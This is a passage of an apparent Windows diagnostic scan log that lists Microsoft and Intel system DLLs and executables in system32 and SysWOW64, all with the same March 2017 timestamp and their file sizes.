2017-03-18 22:58 - 2017-03-18 22:58 - 00467456 _____ (Microsoft Corporation) C:\windows\SysWOW64\TpmCoreProvisioning.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00466944 _____ (Microsoft Corporation) C:\windows\system32\Geolocation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00465920 _____ (Microsoft Corporation) C:\windows\SysWOW64\filemgmt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00464384 _____ (Microsoft Corporation) C:\windows\system32\XpsGdiConverter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00463872 _____ (Microsoft Corporation) C:\windows\SysWOW64\efswrt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00463872 _____ (Microsoft Corporation) C:\windows\system32\Windows.Gaming.XboxLive.Storage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00463360 _____ (Microsoft Corporation) C:\windows\SysWOW64\webio.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00462336 _____ (Microsoft Corporation) C:\windows\SysWOW64\sppcext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00462336 _____ (Microsoft Corporation) C:\windows\system32\werui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00462336 _____ (Microsoft Corporation) C:\windows\system32\msutb.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00462336 _____ (Microsoft Corporation) C:\windows\system32\DscCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00461824 _____ (Microsoft Corporation) C:\windows\system32\wiashext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00461312 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Mirage.Internal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00461312 _____ (Microsoft Corporation) C:\windows\system32\wlansec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00461312 _____ (Microsoft Corporation) C:\windows\system32\authui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00460288 _____ (Microsoft Corporation) C:\windows\system32\Windows.CloudStore.Schema.Shell.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00459168 _____ (Microsoft Corporation) C:\windows\system32\wifitask.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00457728 _____ (Microsoft Corporation) C:\windows\system32\Windows.Cortana.Desktop.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00456704 _____ (Microsoft Corporation) C:\windows\system32\puiobj.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00456704 _____ (Microsoft Corporation) C:\windows\system32\NgcCtnr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00454656 _____ (Microsoft Corporation) C:\windows\SysWOW64\msxbde40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00454144 _____ (Microsoft Corporation) C:\windows\SysWOW64\WLanConn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00454144 _____ (Microsoft Corporation) C:\windows\system32\wiadefui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00452608 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasplap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00452608 _____ (Microsoft Corporation) C:\windows\system32\shwebsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00451584 _____ (Microsoft Corporation) C:\windows\SysWOW64\localsec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00450048 _____ (Microsoft Corporation) C:\windows\system32\MBMediaManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00449536 _____ (Microsoft Corporation) C:\windows\SysWOW64\DbgModel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00448928 _____ (Microsoft Corporation) C:\windows\system32\coml2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00448512 _____ (Microsoft Corporation) C:\windows\SysWOW64\mprapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00446976 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvcp60.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00446464 _____ (Microsoft Corporation) C:\windows\SysWOW64\rastls.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00444928 _____ (Microsoft Corporation) C:\windows\SysWOW64\wiashext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00443392 _____ (Microsoft Corporation) C:\windows\system32\PerceptionSimulationExtensions.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00442880 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdrm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00440320 _____ (Microsoft Corporation) C:\windows\system32\windows.immersiveshell.serviceprovider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00439808 _____ (Microsoft Corporation) C:\windows\system32\dsquery.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00438784 _____ (Microsoft Corporation) C:\windows\system32\SharedPCCSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00437760 _____ (Microsoft Corporation) C:\windows\system32\CredProvDataModel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00437552 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00437248 _____ (Microsoft Corporation) C:\windows\system32\UserDataAccountApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00435712 _____ (Microsoft Corporation) C:\windows\SysWOW64\authui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00435200 _____ (Microsoft Corporation) C:\windows\SysWOW64\shwebsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00435200 _____ (Microsoft Corporation) C:\windows\system32\AccountsRt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00434688 _____ (Microsoft Corporation) C:\windows\system32\wksprt.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00434176 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00433896 _____ (Microsoft Corporation) C:\windows\SysWOW64\WWanAPI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00432128 _____ (Microsoft Corporation) C:\windows\SysWOW64\intl.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00432128 _____ (Microsoft Corporation) C:\windows\system32\upnphost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00431104 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Internal.Bluetooth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00430592 _____ (Microsoft Corporation) C:\windows\SysWOW64\ipsmsnap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00430592 _____ (Microsoft Corporation) C:\windows\SysWOW64\certCredProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00428032 _____ (Microsoft Corporation) C:\windows\system32\DeviceCenter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00427520 _____ (Microsoft Corporation) C:\windows\SysWOW64\imapi2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00427520 _____ (Microsoft Corporation) C:\windows\SysWOW64\glmf32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00427008 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.LockScreen.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00426912 _____ (Microsoft Corporation) C:\windows\system32\CloudExperienceHostCommon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00426496 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Usb.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00425984 _____ (Microsoft Corporation) C:\windows\SysWOW64\sqlcese40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00425984 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.SmartCards.Phone.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00424960 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_User.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00423936 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dim700.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00421376 _____ (Microsoft Corporation) C:\windows\SysWOW64\msutb.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00417280 _____ (Microsoft Corporation) C:\windows\SysWOW64\irprops.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00417280 _____ (Microsoft Corporation) C:\windows\system32\oleacc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00416928 _____ (Microsoft Corporation) C:\windows\system32\wlanapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00415864 _____ (Microsoft Corporation) C:\windows\SysWOW64\ws2_32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00414720 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.Wallet.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00414720 _____ (Microsoft Corporation) C:\windows\SysWOW64\wiadefui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00414720 _____ (Microsoft Corporation) C:\windows\system32\provhandlers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00414208 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmenrollengine.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00414208 _____ (Microsoft Corporation) C:\windows\system32\OneCoreCommonProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00413696 _____ (Microsoft Corporation) C:\windows\system32\termmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00413696 _____ (Microsoft Corporation) C:\windows\system32\profsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00412576 _____ (Microsoft Corporation) C:\windows\SysWOW64\spwizeng.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00412160 _____ (Microsoft Corporation) C:\windows\system32\tracerpt.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00411648 _____ (Microsoft Corporation) C:\windows\SysWOW64\sysmon.ocx
2017-03-18 22:58 - 2017-03-18 22:58 - 00411184 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvcp110_win.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00411136 _____ (Microsoft Corporation) C:\windows\SysWOW64\dsquery.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00410112 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmdlgs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00410112 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.BlockedShutdown.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00409600 _____ (Microsoft Corporation) C:\windows\SysWOW64\msexch40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00409088 _____ (Microsoft Corporation) C:\windows\SysWOW64\MosResource.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00409088 _____ (Microsoft Corporation) C:\windows\system32\MosResource.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00407552 _____ (Microsoft Corporation) C:\windows\SysWOW64\catsrvut.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00407040 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.LowLevel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00407040 _____ (Microsoft Corporation) C:\windows\system32\wlanmsm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00406544 _____ (Microsoft Corporation) C:\windows\SysWOW64\policymanager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00406528 _____ (Microsoft Corporation) C:\windows\SysWOW64\sdohlp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00406528 _____ (Microsoft Corporation) C:\windows\SysWOW64\mprdim.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00406528 _____ (Microsoft Corporation) C:\windows\SysWOW64\certreq.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00403968 _____ (Microsoft Corporation) C:\windows\SysWOW64\werui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00403456 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlangpui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00403432 _____ (Microsoft Corporation) C:\windows\system32\tsmf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00401920 _____ (Microsoft Corporation) C:\windows\SysWOW64\TextInputFramework.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00401920 _____ (Microsoft Corporation) C:\windows\system32\TaskApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00401408 _____ (Microsoft Corporation) C:\windows\system32\stobject.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00400896 _____ (Microsoft Corporation) C:\windows\system32\RDXTaskFactory.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00400288 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdelta.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00399360 _____ (Microsoft Corporation) C:\windows\SysWOW64\wbemcomn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00398336 _____ (Microsoft Corporation) C:\windows\SysWOW64\DeviceCenter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00397312 _____ (Microsoft Corporation) C:\windows\SysWOW64\schannel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00397312 _____ (Microsoft Corporation) C:\windows\system32\rascustom.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00395776 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dim.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00394240 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Internal.Management.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00394240 _____ (Microsoft Corporation) C:\windows\system32\syncutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00393728 _____ (Microsoft Corporation) C:\windows\SysWOW64\shrpubw.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00392704 _____ (Microsoft Corporation) C:\windows\system32\rdpencom.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00391168 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Perception.Stub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00390568 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Enumeration.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00390144 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ks.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00390048 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00388096 _____ (Microsoft Corporation) C:\windows\system32\DavSyncProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00387072 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Payments.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00386048 _____ (Microsoft Corporation) C:\windows\system32\zipfldr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00386048 _____ (Microsoft Corporation) C:\windows\system32\Search.ProtocolHandler.MAPI2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00385536 _____ (Microsoft Corporation) C:\windows\SysWOW64\catsrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00385536 _____ (Microsoft Corporation) C:\windows\system32\SessEnv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00384000 _____ (Microsoft Corporation) C:\windows\SysWOW64\xwizards.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00380957 _____ (Microsoft Corporation) C:\windows\SysWOW64\expsrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00379904 _____ (Microsoft Corporation) C:\windows\SysWOW64\tracerpt.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00379392 _____ (Microsoft Corporation) C:\windows\SysWOW64\EncDec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00379392 _____ (Microsoft Corporation) C:\windows\system32\upnp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00379392 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-system-events.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00378880 _____ (Microsoft Corporation) C:\windows\SysWOW64\puiobj.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00378368 _____ (Microsoft Corporation) C:\windows\SysWOW64\nshipsec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00377856 _____ (Microsoft Corporation) C:\windows\system32\wincorlib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00377344 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.WiFiDirect.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00376832 _____ (Microsoft Corporation) C:\windows\SysWOW64\Winlangdb.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00375808 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_UserAccount.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00375808 _____ (Microsoft Corporation) C:\windows\system32\SearchFolder.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00375096 _____ (Microsoft Corporation) C:\windows\SysWOW64\AUDIOKSE.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00374688 _____ (Microsoft Corporation) C:\windows\SysWOW64\coml2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00374272 _____ (Microsoft Corporation) C:\windows\SysWOW64\uReFSv1.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00374272 _____ (Microsoft Corporation) C:\windows\SysWOW64\scesrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00374272 _____ (Microsoft Corporation) C:\windows\system32\PhoneOm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00373760 _____ (Microsoft Corporation) C:\windows\SysWOW64\hdwwiz.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00372224 _____ (Microsoft Corporation) C:\windows\SysWOW64\termmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00371616 _____ (Microsoft Corporation) C:\windows\system32\CloudExperienceHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00370688 _____ (Microsoft Corporation) C:\windows\SysWOW64\FirewallAPI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00369152 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Core.TextInput.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00368640 _____ (Microsoft Corporation) C:\windows\SysWOW64\mspbde40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00368128 _____ (Microsoft Corporation) C:\windows\SysWOW64\CredProvDataModel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00367616 _____ (Microsoft Corporation) C:\windows\SysWOW64\taskcomp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00367616 _____ (Microsoft Corporation) C:\windows\SysWOW64\stobject.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00366080 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapConfiguration.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00364544 _____ C:\windows\SysWOW64\msjetoledb40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00364544 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlanui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00364544 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Notifications.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00364032 _____ (Microsoft Corporation) C:\windows\SysWOW64\cryptuiwizard.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00364032 _____ (Microsoft Corporation) C:\windows\SysWOW64\AccountsRt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00364032 _____ (Microsoft Corporation) C:\windows\system32\SearchProtocolHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00360448 _____ (Microsoft Corporation) C:\windows\SysWOW64\iassdo.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00359552 _____ (Microsoft Corporation) C:\windows\SysWOW64\Faultrep.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00357888 _____ (Microsoft Corporation) C:\windows\system32\VEEventDispatcher.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00357376 _____ (Microsoft Corporation) C:\windows\SysWOW64\winipcfile.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00356992 _____ (Microsoft Corporation) C:\windows\SysWOW64\tsmf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00356408 _____ (Microsoft Corporation) C:\windows\SysWOW64\verifier.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00356352 _____ (Microsoft Corporation) C:\windows\system32\eudcedit.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00355840 _____ (Microsoft Corporation) C:\windows\SysWOW64\mtxclu.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00355328 _____ (Microsoft Corporation) C:\windows\system32\PickerPlatform.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00354304 _____ (Microsoft Corporation) C:\windows\system32\OneBackupHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00352768 _____ (Microsoft Corporation) C:\windows\SysWOW64\authfwcfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00352768 _____ (Microsoft Corporation) C:\windows\system32\Wldap32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00352768 _____ (Microsoft Corporation) C:\windows\system32\dxdiag.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00352256 _____ (Microsoft Corporation) C:\windows\system32\ntprint.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00350720 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsGdiConverter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00350720 _____ (Microsoft Corporation) C:\windows\SysWOW64\rdpencom.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00350720 _____ (Microsoft Corporation) C:\windows\system32\Windows.Graphics.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00350624 _____ (Microsoft Corporation) C:\windows\system32\thumbcache.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00349208 _____ (Microsoft Corporation) C:\windows\system32\wintrust.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00348672 _____ (Microsoft Corporation) C:\windows\system32\d3d10_1core.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00348656 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3d10level9.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00346624 _____ (Microsoft Corporation) C:\windows\SysWOW64\secproc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00346112 _____ (Microsoft Corporation) C:\windows\SysWOW64\Geolocation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00346112 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3d10_1core.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00346016 _____ (Microsoft Corporation) C:\windows\SysWOW64\CloudExperienceHostCommon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00345600 _____ (Microsoft Corporation) C:\windows\SysWOW64\zipfldr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00345600 _____ (Microsoft Corporation) C:\windows\system32\NetworkUXBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00345088 _____ (Microsoft Corporation) C:\windows\SysWOW64\SyncInfrastructure.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00345088 _____ (Microsoft Corporation) C:\windows\SysWOW64\secproc_isv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00344064 _____ (Microsoft Corporation) C:\windows\SysWOW64\msrd3x40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00343552 _____ (Microsoft Corporation) C:\windows\system32\esentutl.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00343552 _____ (Microsoft Corporation) C:\windows\system32\Display.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00342528 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMPhoto.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00342528 _____ (Microsoft Corporation) C:\windows\system32\APHostService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00342016 _____ (Microsoft Corporation) C:\windows\SysWOW64\certcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00339968 _____ (Microsoft Corporation) C:\windows\SysWOW64\msexcl40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00339456 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.Proximity.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00338944 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDataAccountApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00338944 _____ (Microsoft Corporation) C:\windows\SysWOW64\RTMediaFrame.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00338432 _____ (Microsoft Corporation) C:\windows\SysWOW64\NetSetupShim.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00338432 _____ (Microsoft Corporation) C:\windows\SysWOW64\msinfo32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00338432 _____ (Intel Corporation.) C:\windows\SysWOW64\ir41_qcxoriginal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00337824 _____ (Microsoft Corporation) C:\windows\system32\moshostcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00337408 _____ (Microsoft Corporation) C:\windows\SysWOW64\SessEnv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00336384 _____ (Microsoft Corporation) C:\windows\system32\RADCUI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00336384 _____ (Microsoft Corporation) C:\windows\system32\AppLockerCSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00335872 _____ (Microsoft Corporation) C:\windows\system32\CloudDomainJoinDataModelServer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00334848 _____ (Microsoft Corporation) C:\windows\SysWOW64\PlayToDevice.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00334848 _____ (Microsoft Corporation) C:\windows\system32\NmaDirect.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00334848 _____ (Microsoft Corporation) C:\windows\system32\ncbservice.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00334336 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.SmartCards.Phone.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00334336 _____ (Microsoft Corporation) C:\windows\SysWOW64\difxapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00333824 _____ (Microsoft Corporation) C:\windows\system32\fhcpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00332800 _____ (Microsoft Corporation) C:\windows\system32\dxdiagn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00332288 _____ (Microsoft Corporation) C:\windows\SysWOW64\syncutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00332192 _____ (Microsoft Corporation) C:\windows\system32\dcntel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00331776 _____ (Microsoft Corporation) C:\windows\SysWOW64\PhotoMetadataHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00331776 _____ (Microsoft Corporation) C:\windows\SysWOW64\oleacc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00331776 _____ (Microsoft Corporation) C:\windows\SysWOW64\es.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00331776 _____ (Microsoft Corporation) C:\windows\SysWOW64\DavSyncProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00331264 _____ (Microsoft Corporation) C:\windows\SysWOW64\rastlsext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00330240 _____ (Microsoft Corporation) C:\windows\SysWOW64\azroleui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00330120 _____ (Microsoft Corporation) C:\windows\system32\winsta.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00329216 _____ (Microsoft Corporation) C:\windows\SysWOW64\hnetcfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00329216 _____ (Microsoft Corporation) C:\windows\system32\RasMediaManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00328704 _____ (Microsoft Corporation) C:\windows\system32\PsmServiceExtHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00328616 _____ (Microsoft Corporation) C:\windows\system32\Windows.Storage.ApplicationData.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00327168 _____ (Microsoft Corporation) C:\windows\SysWOW64\upnp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00326656 _____ (Microsoft Corporation) C:\windows\system32\sysdm.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00325632 _____ (Microsoft Corporation) C:\windows\system32\GlobCollationHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00325536 _____ (Microsoft Corporation) C:\windows\system32\input.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00325120 _____ (Microsoft Corporation) C:\windows\SysWOW64\upnphost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00325120 _____ (Microsoft Corporation) C:\windows\system32\cttune.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00324608 _____ (Microsoft Corporation) C:\windows\system32\DataUsageHandlers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00323936 _____ (Microsoft Corporation) C:\windows\system32\shlwapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00323584 _____ (Microsoft Corporation) C:\windows\system32\DeviceEnroller.exe
